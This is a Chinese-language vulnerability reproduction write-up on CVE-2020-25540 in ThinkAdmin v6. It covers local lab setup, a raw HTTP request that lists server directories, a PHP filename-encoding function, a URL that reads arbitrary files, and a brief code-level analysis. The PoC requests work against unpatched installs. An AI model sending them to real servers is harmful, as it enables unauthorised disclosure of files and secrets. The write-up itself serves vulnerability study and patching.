ThinkAdmin漏洞(CVE-2020-25540 )復現

安徽鋒刃科技發表於2020-10-18

簡介

 

ThinkAdmin是一套基於ThinkPHP框架的通用後臺管理系統

漏洞概述

 

ThinkAdmin6版本存在路徑遍歷漏洞。該漏洞主要是因為api中存在危險函式,沒有任何過濾。攻擊者可利用該漏洞通過請求編碼引數任意讀取遠端伺服器上的任意檔案。

影響版本

 

ThinkAdmin版本小於 ≤ 2020.08.03.01

環境搭建

 

使用phpstudy進行安裝

設定阿里雲 Composer 代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

ThinkAdmin下載地址

https://github.com/179776823/ThinkAdmin

進入ThinkAdmin目錄進行安裝

cd ThinkAdmin-6

composer install

php進行執行

php think run

http://127.0.0.1:8000開啟頁面

漏洞復現

 

列目錄

poc

POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26
Upgrade-Insecure-Requests: 1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

rules=%5b%22%2e%5c%2f%22%5d

任意檔案讀取

在根目錄新建1.txt檔案

使用加密函式對1.txt檔名進行加密

function encode($content){    list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);    return $chars;}

 

得到資料加密資料1d1a383c38

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38

漏洞分析

 

列目錄分析

ThinkAdmin-6\app\admin\controller\api\Update.php檔案中

node函式把post傳過來的rules給getlist()函式

跳轉到getlist函式

迴圈讀取改目錄下的所有檔案

傳個[".\/"]給rules即可獲取

任意檔案讀取分析

ThinkAdmin-6\app\admin\controller\api\Update.php檔案中

get函式,解密後讀取

根據檔名加密後傳入即可獲取base64加密的內容,解密即可

相關文章